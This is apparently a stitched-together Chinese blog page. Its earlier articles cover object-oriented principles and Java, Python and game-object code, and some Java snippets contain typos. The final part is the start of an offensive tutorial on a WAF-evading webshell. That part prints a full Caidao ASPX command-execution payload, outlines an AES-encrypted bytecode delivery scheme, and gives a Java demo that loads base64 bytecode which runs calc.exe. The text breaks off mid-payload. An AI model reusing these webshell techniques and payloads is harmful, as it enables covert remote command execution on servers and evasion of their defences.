    接口隔离原则说白了就是,让客户端依赖的接口尽可能地小,这样说可能还是有点抽象,我们还是以一个示例来说明一下。在此之前我们来说一个场景,在Java 6以及之前的JDK版本,有一个非常讨厌的问题,那就是在使用了OutputStream或者其他可关闭的对象之后,我们必须保证它们最终被关闭了,我们的SD卡缓存类中就有这样的代码:

    // 将图片缓存到内存中
    public void put(String url, Bitmap bmp) {
        FileOutputStream fileOutputStream = null;
        try {
            fileOutputStream = new FileOutputStream(cacheDir + url);
            bmp.compress(CompressFormat.PNG, 100, fileOutputStream);
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } finally {
            if (fileOutputStream != null) {
                try {
                    fileOutputStream.close();
              } catch (IOException e) {
                    e.printStackTrace();
              }
           } // end if
        } // end if finally
    }

    我们看到的这段代码可读性非常差,各种try…catch嵌套,都是些简单的代码,但是会严重影响代码的可读性,并且多层级的大括号很容易将代码写到错误的层级中。大家应该对这类代码也非常反感,那我们看看如何解决这类问题。
    我们可能知道Java中有一个Closeable接口,该接口标识了一个可关闭的对象,它只有一个close方法,如图1-4所示。
    我们要讲的FileOutputStream类就实现了这个接口,我们从图1-4中可以看到,还有一百多个类实现了Closeable这个接口,这意味着,在关闭这一百多个类型的对象时,都需要写出像put方法中finally代码段那样的代码。这还了得!你能忍,反正小民是忍不了的!于是小民打算要发挥他的聪明才智解决这个问题,既然都是实现了Closeable接口,那只要我建一个方法统一来关闭这些对象不就可以了么?说干就干,于是小民写下来如下的工具类:

    ▲图1-4

    public final class CloseUtils {
    
        Private CloseUtils() { }
    
        /**
         * 关闭Closeable对象
         * @param closeable
         */
        public static void closeQuietly(Closeable closeable) {
            if (null != closeable) {
                try {
                    closeable.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
           }
        }
    }

    我们再看看把这段代码运用到上述的put方法中的效果如何:

    public void put(String url, Bitmap bmp) {
        FileOutputStream fileOutputStream = null;
        try {
            fileOutputStream = new FileOutputStream(cacheDir + url);
            bmp.compress(CompressFormat.PNG, 100, fileOutputStream);
       } catch (FileNotFoundException e) {
            e.printStackTrace();
       } final ly {
            CloseUtils.closeQuietly(fileOutputStream);
       }
    }

    代码简洁了很多!而且这个closeQuietly方法可以运用到各类可关闭的对象中,保证了代码的重用性。CloseUtils的closeQuietly方法的基本原理就是依赖于Closeable抽象而不是具体实现(这不是1.4节中的依赖倒置原则么),并且建立在最小化依赖原则的基础,它只需要知道这个对象是可关闭,其他的一概不关心,也就是这里的接口隔离原则。

    试想一下,如果在只是需要关闭一个对象时,它却暴露出了其他的接口函数,比如OutputStream的write方法,这就使得更多的细节暴露在客户端代码面前,不仅没有很好地隐藏实现,还增加了接口的使用难度。而通过Closeable接口将可关闭的对象抽象起来,这样只需要客户端依赖于Closeable就可以对客户端隐藏其他的接口信息,客户端代码只需要知道这个对象可关闭(只可调用close方法)即可。小民ImageLoader中的ImageCache就是接口隔离原则的运用,ImageLoader只需要知道该缓存对象有存、取缓存图片的接口即可,其他的一概不管,这就使得缓存功能的具体实现对ImageLoader具体的隐藏。这就是用最小化接口隔离了实现类的细节,也促使我们将庞大的接口拆分到更细粒度的接口当中,这使得我们的系统具有更低的耦合性,更高的灵活性。

    Bob大叔(Robert C Martin)在21世纪早期将单一职责、开闭原则、里氏替换、接口隔离以及依赖倒置(也称为依赖反转)5个原则定义为SOLID原则,指代了面向对象编程的5个基本原则。当这些原则被一起应用时,它们使得一个软件系统更清晰、简单、最大程度地拥抱变化。SOLID被典型地应用在测试驱动开发上,并且是敏捷开发以及自适应软件开发基本原则的重要组成部分。在经过第1.1~1.5节的学习之后,我们发现这几大原则最终就可以化为这几个关键词:抽象、单一职责、最小化。那么在实际开发过程中如何权衡、实践这些原则,是大家需要在实践中多思考与领悟,正所谓”学而不思则罔,思而不学则殆”,只有不断地学习、实践、思考,才能够在积累的过程有一个质的飞越。

    6、更好的可扩展性——迪米特原则

    迪米特原则英文全称为Law of Demeter,简称LOD,也称为最少知识原则(Least Knowledge Principle)。虽然名字不同,但描述的是同一个原则:一个对象应该对其他对象有最少的了解。通俗地讲,一个类应该对自己需要耦合或调用的类知道得最少,类的内部如何实现、如何复杂都与调用者或者依赖者没关系,调用者或者依赖者只需要知道他需要的方法即可,其他的我一概不关心。类与类之间的关系越密切,耦合度越大,当一个类发生改变时,对另一个类的影响也越大。

    迪米特法则还有一个英文解释是:Only talk to your immedate friends,翻译过来就是:只与直接的朋友通信。什么叫做直接的朋友呢?每个对象都必然会与其他对象有耦合关系,两个对象之间的耦合就成为朋友关系,这种关系的类型有很多,例如组合、聚合、依赖等。

    光说不练很抽象呐,下面我们就以租房为例来讲讲迪米特原则。
    “北漂”的同学比较了解,在北京租房绝大多数都是通过中介找房。我们设定的情境为:我只要求房间的面积和租金,其他的一概不管,中介将符合我要求的房子提供给我就可以。下面我们看看这个示例:

    /**
     * 房间
     */
    public class Room {
        public float area;
        public float price;
    
        public Room(float  area, float  price) {
            this.area = area;
            this.price = price;
        }
    
        @Override
        public String toString() {
            return "Room [area=" + area + ", price=" + price + "]";
        }
    
    }
    
    /**
     * 中介
     */
    public class Mediator {
        List<Room> mRooms = new ArrayList<Room>();
    
        public Mediator() {
            for (inti = 0; i < 5; i++) {
                mRooms.add(new Room(14 + i, (14 + i) * 150));
           }
       }
    
        public List<Room>getAllRooms() {
            return mRooms;
       }
    }
    
    
    /**
     * 租户
     */
    public class Tenant {
        public float roomArea;
        public float roomPrice;
        public static final float diffPrice = 100.0001f;
        public static final float diffArea = 0.00001f;
    
        public void rentRoom(Mediator mediator) {
            List<Room>rooms = mediator.getAllRooms();
            for (Room room : rooms) {
                if (isSuitable(room)) {
                 System.out.println("租到房间啦! " + room);
                    break;
              }
           }
        }
    
        private boolean isSuitable(Room room) {
            return Math.abs(room.price - roomPrice) < diffPrice
                    &&Math.abs(room.area - roomArea) < diffArea;
       }
    }

    从上面的代码中可以看到,Tenant不仅依赖了Mediator类,还需要频繁地与Room类打交道。租户类的要求只是通过中介找到一间适合自己的房间罢了,如果把这些检测条件都放在Tenant类中,那么中介类的功能就被弱化,而且导致Tenant与Room的耦合较高,因为Tenant必须知道许多关于Room的细节。当Room变化时Tenant也必须跟着变化。Tenant又与Mediator耦合,就导致了纠缠不清的关系。这个时候就需要我们分清谁才是我们真正的“朋友”,在我们所设定的情况下,显然是Mediator(虽然现实生活中不是这样的)。上述代码的结构如图1-5所示。

    ▲图1-5

    既然是耦合太严重,那我们就只能解耦了,首先要明确地是,我们只和我们的朋友通信,这里就是指Mediator对象。必须将Room相关的操作从Tenant中移除,而这些操作案例应该属于Mediator,我们进行如下重构:

    /**
     * 中介
     */
    public class Mediator {
        List<Room> mRooms = new ArrayList<Room>();
    
        public Mediator() {
            for (inti = 0; i < 5; i++) {
                mRooms.add(new Room(14 + i, (14 + i) * 150));
           }
        }
    
        public Room rentOut(float  area, float  price) {
            for (Room room : mRooms) {
                if (isSuitable(area, price, room)) {
                    return  room;
              }
           }
            return null;
        }
    
        private boolean isSuitable(float area, float price, Room room) {
            return Math.abs(room.price - price) < Tenant.diffPrice
                && Math.abs(room.area - area) < Tenant.diffPrice;
        }
    }
    
    /**
     * 租户
     */
    public class Tenant {
    
        public float roomArea;
        public float roomPrice;
        public static final float diffPrice = 100.0001f;
        public static final float diffArea = 0.00001f;
    
        public void rentRoom(Mediator mediator) {
            System.out.println("租到房啦 " + mediator.rentOut(roomArea, roomPrice));
         }
    }

    重构后的结构图如图1-6所示。

    ▲图1-6

    只是将对于Room的判定操作移到了Mediator类中,这本应该是Mediator的职责,他们根据租户设定的条件查找符合要求的房子,并且将结果交给租户就可以了。租户并不需要知道太多关于Room的细节,比如与房东签合同、房东的房产证是不是真的、房内的设施坏了之后我要找谁维修等,当我们通过我们的“朋友”中介租了房之后,所有的事情我们都通过与中介沟通就好了,房东、维修师傅等这些角色并不是我们直接的“朋友”。“只与直接的朋友通信”这简单的几个字就能够将我们从乱七八糟的关系网中抽离出来,使我们的耦合度更低、稳定性更好。
    通过上述示例以及小民的后续思考,迪米特原则这把利剑在小民的手中已经舞得风生水起。就拿sd卡缓存来说吧,ImageCache就是用户的直接朋友,而SD卡缓存内部却是使用了jake wharton的DiskLruCache实现,这个DiskLruCache就不属于用户的直接朋友了,因此,用户完全不需要知道它的存在,用户只需要与ImageCache对象打交道即可。例如将图片存到SD卡中的代码如下。

    public void put(String url, Bitmap value) {
        DiskLruCache.Editor editor = null;
        try {
           // 如果没有找到对应的缓存,则准备从网络上请求数据,并写入缓存
            editor = mDiskLruCache.edit(url);
            if (editor != null) {
                    OutputStream outputStream = editor.newOutputStream(0);
                if (writeBitmapToDisk(value, outputStream)) {
                  // 写入disk缓存
                    editor.commit();
              } else {
                    editor.abort();
              }
                CloseUtils.closeQuietly(outputStream);
           }
        } catch (IOException e) {
             e.printStackTrace();
        }
    }

    用户在使用SD卡缓存时,根本不知晓DiskLruCache的实现,这就很好地对用户隐藏了具体实现。当小民已经“牛”到可以自己完成SD卡的rul实现时,他就可以随心所欲的替换掉jake wharton的DiskLruCache。小民的代码大体如下:

    @Override
    public  void put(String url, Bitmap bmp) {
        // 将Bitmap写入文件中
        FileOutputStream fos = null;
        try {
           // 构建图片的存储路径 ( 省略了对url取md5)
            fos = new FileOutputStream("sdcard/cache/" + imageUrl2MD5(url));
            bmp.compress(CompressFormat.JPEG, 100, fos);
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } finally {
            if ( fos != null ) {
                try {
                    fos.close();
              } catch (IOException e) {
                    e.printStackTrace();
              }
           }
        } // end if finally
    }

    SD卡缓存的具体实现虽然被替换了,但用户根本不会感知到。因为用户根本不知道DiskLruCache的存在,他们没有与DiskLruCache进行通信,他们只认识直接“朋友”ImageCache,ImageCache将一切细节隐藏在了直接“朋友”的外衣之下,使得系统具有更低的耦合性和更好的可扩展性。

    7、总结

    在应用开发过程中,最难的不是完成应用的开发工作,而是在后续的升级、维护过程中让应用系统能够拥抱变化。拥抱变化也就意味着在满足需求且不破坏系统稳定性的前提下保持高可扩展性、高内聚、低耦合,在经历了各版本的变更之后依然保持清晰、灵活、稳定的系统架构。当然,这是一个比较理想的情况,但我们必须要朝着这个方向去努力,那么遵循面向对象六大原则就是我们走向灵活软件之路所迈出的第一步。

    展开全文
  • 当下的程序员应该都听过“面向对象编程”一词,也经常有人问能不能用一句解释下什么是“面向对象编程”,我们先来看看比较正式的说法。 把一组数据结构和处理它们的方法组成对象(object),把相同行为的...

    面向对象编程基础

    活在当下的程序员应该都听过“面向对象编程”一词,也经常有人问能不能用一句话解释下什么是“面向对象编程”,我们先来看看比较正式的说法。

    把一组数据结构和处理它们的方法组成对象(object),把相同行为的对象归纳为类(class),通过类的封装(encapsulation)隐藏内部细节,通过继承(inheritance)实现类的特化(specialization)和泛化(generalization),通过多态(polymorphism)实现基于对象类型的动态分派。

    这样一说是不是更不明白了。所以我们还是看看更通俗易懂的说法,下面这段内容来自于知乎

    这里写图片描述

    说明:以上的内容来自于网络,不代表作者本人的观点和看法,与作者本人立场无关,相关责任不由作者承担。(终于有机会享受一下把这段话反过来说的乐趣了,乐得牙都快碎了。)

    之前我们说过“程序是指令的集合”,我们在程序中书写的语句在执行时会变成一条或多条指令然后由CPU去执行。当然为了简化程序的设计,我们引入了函数的概念,把相对独立且经常重复使用的代码放置到函数中,在需要使用这些功能的时候只要调用函数即可;如果一个函数的功能过于复杂和臃肿,我们又可以进一步将函数继续切分为子函数来降低系统的复杂性。但是说了这么多,不知道大家是否发现,所谓编程就是程序员按照计算机的工作方式控制计算机完成各种任务。但是,计算机的工作方式与正常人类的思维模式是不同的,如果编程就必须得抛弃人类正常的思维方式去迎合计算机,编程的乐趣就少了很多,“每个人都应该学习编程”这样的豪言壮语就只能说说而已。当然,这些还不是最重要的,最重要的是当我们需要开发一个复杂的系统时,代码的复杂性会让开发和维护工作都变得举步维艰,所以在上世纪60年代末期,“软件危机”、“软件工程”等一系列的概念开始在行业中出现。

    当然,程序员圈子内的人都知道,现实中并没有解决上面所说的这些问题的“银弹”,真正让软件开发者看到希望的是上世纪70年代诞生的Smalltalk编程语言中引入的面向对象的编程思想(面向对象编程的雏形可以追溯到更早期的Simula语言)。按照这种编程理念,程序中的数据和操作数据的函数是一个逻辑上的整体,我们称之为“对象”,而我们解决问题的方式就是创建出需要的对象并向对象发出各种各样的消息,多个对象的协同工作最终可以让我们构造出复杂的系统来解决现实中的问题。

    说明:当然面向对象也不是解决软件开发中所有问题的最后的“银弹”,所以今天的高级程序设计语言几乎都提供了对多种编程范式的支持,Python也不例外。

    类和对象

    简单的说,类是对象的蓝图和模板,而对象是类的实例。这个解释虽然有点像用概念在解释概念,但是从这句话我们至少可以看出,类是抽象的概念,而对象是具体的东西。在面向对象编程的世界中,一切皆为对象,对象都有属性和行为,每个对象都是独一无二的,而且对象一定属于某个类(型)。当我们把一大堆拥有共同特征的对象的静态特征(属性)和动态特征(行为)都抽取出来后,就可以定义出一个叫做“类”的东西。

    这里写图片描述

    定义类

    在Python中可以使用class关键字定义类,然后在类中通过之前学习过的函数来定义方法,这样就可以将对象的动态特征描述出来,代码如下所示。

    class Student(object):
    
        # __init__是一个特殊方法用于在创建对象时进行初始化操作
        # 通过这个方法我们可以为学生对象绑定name和age两个属性
        def __init__(self, name, age):
            self.name = name
            self.age = age
    
        def study(self, course_name):
            print('%s正在学习%s.' % (self.name, course_name))
    
        # PEP 8要求标识符的名字用全小写多个单词用下划线连接
        # 但是很多程序员和公司更倾向于使用驼峰命名法(驼峰标识)
        def watch_av(self):
            if self.age < 18:
                print('%s只能观看《熊出没》.' % self.name)
            else:
                print('%s正在观看岛国爱情动作片.' % self.name)

    说明:写在类中的函数,我们通常称之为(对象的)方法,这些方法就是对象可以接收的消息。

    创建和使用对象

    当我们定义好一个类之后,可以通过下面的方式来创建对象并给对象发消息。

    def main():
        # 创建学生对象并指定姓名和年龄
        stu1 = Student('骆昊', 38)
        # 给对象发study消息
        stu1.study('Python程序设计')
        # 给对象发watch_av消息
        stu1.watch_av()
        stu2 = Student('王大锤', 15)
        stu2.study('思想品德')
        stu2.watch_av()
    
    
    if __name__ == '__main__':
        main()
    

    访问可见性问题

    对于上面的代码,有C++、Java、C#等编程经验的程序员可能会问,我们给Student对象绑定的nameage属性到底具有怎样的访问权限(也称为可见性)。因为在很多面向对象编程语言中,我们通常会将对象的属性设置为私有的(private)或受保护的(protected),简单的说就是不允许外界访问,而对象的方法通常都是公开的(public),因为公开的方法就是对象能够接受的消息。在Python中,属性和方法的访问权限只有两种,也就是公开的和私有的,如果希望属性是私有的,在给属性命名时可以用两个下划线作为开头,下面的代码可以验证这一点。

    class Test:
    
        def __init__(self, foo):
            self.__foo = foo
    
        def __bar(self):
            print(self.__foo)
            print('__bar')
    
    
    def main():
        test = Test('hello')
        # AttributeError: 'Test' object has no attribute '__bar'
        test.__bar()
        # AttributeError: 'Test' object has no attribute '__foo'
        print(test.__foo)
    
    
    if __name__ == "__main__":
        main()
    

    但是,Python并没有从语法上严格保证私有属性或方法的私密性,它只是给私有的属性和方法换了一个名字来“妨碍”对它们的访问,事实上如果你知道更换名字的规则仍然可以访问到它们,下面的代码就可以验证这一点。之所以这样设定,可以用这样一句名言加以解释,就是“We are all consenting adults here”。因为绝大多数程序员都认为开放比封闭要好,而且程序员要自己为自己的行为负责。

    class Test:
    
        def __init__(self, foo):
            self.__foo = foo
    
        def __bar(self):
            print(self.__foo)
            print('__bar')
    
    
    def main():
        test = Test('hello')
        test._Test__bar()
        print(test._Test__foo)
    
    
    if __name__ == "__main__":
        main()
    

    在实际开发中,我们并不建议将属性设置为私有的,因为这会导致子类无法访问(后面会讲到)。所以大多数Python程序员会遵循一种命名惯例就是让属性名以单下划线开头来表示属性是受保护的,本类之外的代码在访问这样的属性时应该要保持慎重。这种做法并不是语法上的规则,单下划线开头的属性和方法外界仍然是可以访问的,所以更多的时候它是一种隐喻,关于这一点可以看看我的《Python - 那些年我们踩过的那些坑》文章中的讲解。

    面向对象的支柱

    面向对象有三大支柱:封装、继承和多态。后面两个概念在下一个章节中进行详细的说明,这里我们先说一下什么是封装。我自己对封装的理解是“隐藏一切可以隐藏的实现细节,只向外界暴露(提供)简单的编程接口”。我们在类中定义的方法其实就是把数据和对数据的操作封装起来了,在我们创建了对象之后,只需要给对象发送一个消息(调用方法)就可以执行方法中的代码,也就是说我们只需要知道方法的名字和传入的参数(方法的外部视图),而不需要知道方法内部的实现细节(方法的内部视图)。

    练习

    练习1:定义一个类描述数字时钟

    class Clock(object):
        """
        数字时钟
        """
    
        def __init__(self, hour=0, minute=0, second=0):
            """
            构造器
    
            :param hour: 时
            :param minute: 分
            :param second: 秒
            """
            self._hour = hour
            self._minute = minute
            self._second = second
    
        def run(self):
            """走字"""
            self._second += 1
            if self._second == 60:
                self._second = 0
                self._minute += 1
                if self._minute == 60:
                    self._minute = 0
                    self._hour += 1
                    if self._hour == 24:
                        self._hour = 0
    
        def __str__(self):
            """显示时间"""
            return '%02d:%02d:%02d' % \
                   (self._hour, self._minute, self._second)
    
    
    def main():
        clock = Clock(23, 59, 58)
        while True:
            print(clock)
            sleep(1)
            clock.run()
    
    
    if __name__ == '__main__':
        main()
    

    练习2:定义一个类描述平面上的点并提供移动点和计算到另一个点距离的方法。

    from math import sqrt
    
    
    class Point(object):
    
        def __init__(self, x=0, y=0):
            """
            构造器
    
            :param x: 横坐标
            :param y: 纵坐标
            """
            self.x = x
            self.y = y
    
        def move_to(self, x, y):
            """
            移动到指定位置
    
            :param x: 新的横坐标
            "param y: 新的纵坐标
            """
            self.x = x
            self.y = y
    
        def move_by(self, dx, dy):
            """
            移动指定的增量
    
            :param dx: 横坐标的增量
            "param dy: 纵坐标的增量
            """
            self.x += dx
            self.y += dy
    
        def distance_to(self, other):
            """
            计算与另一个点的距离
    
            :param other: 另一个点
            """
            dx = self.x - other.x
            dy = self.y - other.y
            return sqrt(dx ** 2 + dy ** 2)
    
        def __str__(self):
            return '(%s, %s)' % (str(self.x), str(self.y))
    
    
    def main():
        p1 = Point(3, 5)
        p2 = Point()
        print(p1)
        print(p2)
        p2.move_by(-1, 2)
        print(p2)
        print(p1.distance_to(p2))
    
    
    if __name__ == '__main__':
        main()
    

    说明:本章中的插图来自于Grady Booch等著作的《面向对象分析与设计》一书,该书是讲解面向对象编程的经典著作,有兴趣的读者可以购买和阅读这本书来了解更多的面向对象的相关知识。

    展开全文
  • 游戏对象的实现 ()

    千次阅读 2007-12-07 23:55:00
    狭义的游戏对象是指游戏世界中所能看到及可交互的对象,如玩家、怪物、物品等,我们这里也主要讨论这类对象在服务器的组织及实现。 大部分的MMOG中,游戏对象的类型都大同小异,主要有物品、生物、玩家等。比如...

      狭义的游戏对象是指游戏世界中所能看到及可交互的对象,如玩家、怪物、物品等,我们这里也主要讨论这类对象在服务器上的组织及实现。

      在大部分的MMOG中,游戏对象的类型都大同小异,主要有物品、生物、玩家等。比如在wow中,通过服务器发下来的GUID我们可以了解到,游戏中有9大类对象,包括物品(Item)、背包(Container)、生物(Unit)、玩家(Player)、游戏对象(GameObject)、动态对象(DynamicObject)、尸体(Corpse)等。

      在mangos的实现中,对象使用类继承的方式,由Object基类定义游戏对象的公有接口及属性,包括GUID的生成及管理、构造及更新UpdateData数据的虚接口、设置及获取对象属性集的方法等。然后分出了两类派生对象,一是Item,另一是WorldObject。Item即物品对象,WorldObject顾名思义,为世界对象,即可添加到游戏世界场景中的对象,该对象类型定义了纯虚接口,也就是不可被实例化,主要是在Object对象的基础上又添加了坐标设置或获取的相关接口。

      Item类型又派兵出了一类Bag对象,这是一种特殊的物品对象,其本身具有物品的所有属性及方法,但又可作为新的容器类型,并具有自己特有的属性和方法,所以实现上采用了派生。mangos在实现时对Bag的类型定义做了点小技巧,Item的类型为2,Bag的类型为6,这样在通过位的方式来表示类型时,Bag类型也就同时属于Item类型了。虽然只是很小的一个技巧,但在很多地方却带来了极大的便利。

      从WorldObject派生出的类型就有好几种了,Unit、GameObject、DynamicObject和Corpse。Unit为所有生物类型的基类,同WorldObject一样,也不可被实例化。它定义了生物类型的公有属性,如种族、职业、性别、生命、魔法等,另外还提供了相关的一些操作接口。游戏中实际的生物对象类型为Creature,从Unit派生,另外还有一类派生对象Player为玩家对象。Player与Creature在实现上最大的区别是玩家的操作由客户端发来的消息驱动,而Creature的控制是由自己定义的AI对象来驱动,另外Player内部还包括了很多的逻辑系统实现。

      另外还有两类特殊的Creature,Pet和Totem,其对象类型仍然还是生物类,只是实现上与会有些特殊的东西需要处理,所以在mangos中将其作为独立的派生类,只是实现上的一点处理。另外在GameObject中也实现有派生对象,最终的继承关系图比较简单,就不麻烦地去画图了。

      从我所了解的早期游戏实现来看,大部分的游戏对象结构都是采用的类似这种方式。可能与早期对面向对象的理解有关,当面向对象的概念刚出来时,大家认为继承就是面向对象的全部,所以处处皆对象,处处皆继承。

      类实现的是一种封装,虽然从云风那里出来的弃C++而转投C的声音可能会影响一部分人,但是,使用什么语言本身就是个人喜好及团队整体情况决定的。我们所要的也是最终的实现结果,至于中间的步骤,完全看个人。还是用云风的话说,这只是一种信仰问题,我依然采用我所熟悉的C++,下面的描述也是如此。

      随着面向对象技术的深入,以及泛型等概念的相继提出,软件程序结构方面的趋势也有了很大改变。C++大师们常说的话中有一句是这样说的,尽是采用组合而不是继承。游戏对象的实现也有类似的转变,趋向于以组合的方式来实现游戏对象类型,也就是实现一个通用的entity类型,然后以脚本定义的方式组合出不同的实际游戏对象类型。

      描述的有些抽象,具体实现下一篇来仔细探讨下。 

    展开全文
  • 概述 本系列文章重写了java、.net、php三个版本的一句木马,可以解析并执行客户端传递...利用动态二进制加密实现新型一句木马之Java篇 利用动态二进制加密实现新型一句木马之.net篇 利用动态二进制加密实现新...

    概述

    本系列文章重写了java、.net、php三个版本的一句话木马,可以解析并执行客户端传递过来的加密二进制流,并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
    本来是想把这三个版本写在一篇文章里,过程中发现篇幅太大,所以分成了四篇,分别是:
    利用动态二进制加密实现新型一句话木马之Java篇
    利用动态二进制加密实现新型一句话木马之.net篇
    利用动态二进制加密实现新型一句话木马之php篇
    利用动态二进制加密实现新型一句话木马之客户端下载及功能介绍

    前言

         一句话木马是一般是指一段短小精悍的恶意代码,这段代码可以用作一个代理来执行攻击者发送过来的任意指令,因其体积小、隐蔽性强、功能强大等特点,被广泛应用于渗透过程中。最初的一句话木马真的只有一句话,比如eval(request(“cmd”)),后续为了躲避查杀,出现了很多变形。无论怎么变形,其本质都是用有限的尽可能少的字节数,来实现无限的可任意扩展的功能。
         一句话木马从最早的<%execute(request(“cmd”))%>到现在,也有快二十年的历史了。客户端工具也从最简单的一个html页面发展到现在的各种GUI工具。但是近些年友军也没闲着,涌现出了各种防护系统,这些防护系统主要分为两类:一类是基于主机的,如Host based IDS、安全狗、D盾等,基于主机的防护系统主要是通过对服务器上的文件进行特征码检测;另一类是基于网络流量的,如各种云WAF、各种商业级硬件WAF、网络防火墙、Net Based IDS等,基于网络的防护设备其检测原理是对传输的流量数据进行特征检测,目前绝大多数商业级的防护设备皆属于此种类型。一旦目标网络部署了基于网络的防护设备,我们常用的一句话木马客户端在向服务器发送Payload时就会被拦截,这也就导致了有些场景下会出现一句话虽然已经成功上传,但是却无法连接的情况。

    理论篇

    为什么会被拦截

    在讨论怎么绕过之前,先分析一下我们的一句话客户端发送的请求会被拦截?
    我们以菜刀为例,来看一下payload的特征,如下为aspx的命令执行的payload:

    Payload如下:

    caidao=Response.Write("->|");
    var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

    可以看到,虽然关键的代码采用了base64编码,但是payload中扔有多个明显的特征,比如有eval关键词,有Convert.FromBase64String,有三个参数,参数名为caidao(密码字段)、z1、z2,参数值有base64编码。针对这些特征很容易写出对应的防护规则,比如:POST请求中有Convert.FromBase64String关键字,有z1和z2参数,z1参数值为4个字符,z2参数值为base64编码字符。

    被动的反抗

    当然这种很low的规则,绕过也会很容易,攻击者只要自定义自己的payload即可绕过,比如把参数改下名字即可,把z1,z2改成z9和z10。不过攻击者几天后可能会发现z9和z10也被加到规则里面去了。再比如攻击者采用多种组合编码方式进行编码,对payload进行加密等等,不过对方的规则也在不断的更新,不断识别关键的编码函数名称、加解密函数名称,并加入到规则里面。于是攻击者和防御者展开了长期的较量,不停的变换着各种姿势……

    釜底抽薪

    其实防御者之所以能不停的去更新自己的规则,主要是因为两个原因:1.攻击者发送的请求都是脚本源代码,无论怎么样编码,仍然是服务器端解析引擎可以解析的源代码,是基于文本的,防御者能看懂。2.攻击者执行多次相同的操作,发送的请求数据也是相同的,防御者就可以把他看懂的请求找出特征固化为规则。
    试想一下,如果攻击者发送的请求不是文本格式的源代码,而是编译之后的字节码(比如java环境下直接向服务器端发送class二进制文件),字节码是一堆二进制数据流,不存在参数;攻击者把二进制字节码进行加密,防御者看到的就是一堆加了密的二进制数据流;攻击者多次执行同样的操作,采用不同的密钥加密,即使是同样的payload,防御者看到的请求数据也不一样,这样防御者便无法通过流量分析来提取规则。
    SO,这就是我们可以一劳永逸绕过waf的思路,具体流程如下:

    1. 首次连接一句话服务端时,客户端首先向服务器端发起一个GET请求,服务器端随机产生一个128位的密钥,把密钥回显给客户端,同时把密钥写进服务器侧的Session中。
    2. 客户端获取密钥后,对本地的二进制payload先进行AES加密,再通过POST方式发送至服务器端。
    3. 服务器收到数据后,从Session中取出秘钥,进行AES解密,解密之后得到二进制payload数据。
    4. 服务器解析二进制payload文件,执行任意代码,并将执行结果加密返回。
    5. 客户端解密服务器端返回的结果。

    如下为执行流程图:

    实现篇

    服务端实现

    想要直接解析已经编译好的二进制字节流,实现我们的绕过思路,现有的Java一句话木马无法满足我们的需求,因此我们首先需要打造一个新型一句话木马:

    1. 服务器端动态解析二进制class文件:

    首先要让服务端有动态地将字节流解析成Class的能力,这是基础。
    正常情况下,Java并没有提供直接解析class字节数组的接口。不过classloader内部实现了一个protected的defineClass方法,可以将byte[]直接转换为Class,方法原型如下:

    因为该方法是protected的,我们没办法在外部直接调用,当然我们可以通过反射来修改保护属性,不过我们选择一个更方便的方法,直接自定义一个类继承classloader,然后在子类中调用父类的defineClass方法。
    下面我们写个demo来测试一下:

    package net.rebeyond;    
    import sun.misc.BASE64Decoder;
    
    public class Demo {
        public static class Myloader extends ClassLoader //继承ClassLoader
        {   
            public  Class get(byte[] b)
            {
                return super.defineClass(b, 0, b.length);
            }       
        }
        public static void main(String[] args) throws Exception {
            // TODO Auto-generated method stub
            String classStr="yv66vgAAADQAKAcAAgEAFW5ldC9yZWJleW9uZC9SZWJleW9uZAcABAEAEGphdmEvbGFuZy9PYmplY3QBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADAAkMAAUABgEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMbmV0L3JlYmV5b25kL1JlYmV5b25kOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsKABEAEwcAEgEAEWphdmEvbGFuZy9SdW50aW1lDAAUABUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAXAQAIY2FsYy5leGUKABEAGQwAGgAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAHQAfBwAeAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAIAAGAQAPcHJpbnRTdGFja1RyYWNlCAAiAQACT0sBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQEAClNvdXJjZUZpbGUBAA1SZWJleW9uZC5qYXZhACEAAQADAAAAAAACAAEABQAGAAEABwAAAC8AAQABAAAABSq3AAixAAAAAgAKAAAABgABAAAABQALAAAADAABAAAABQAMAA0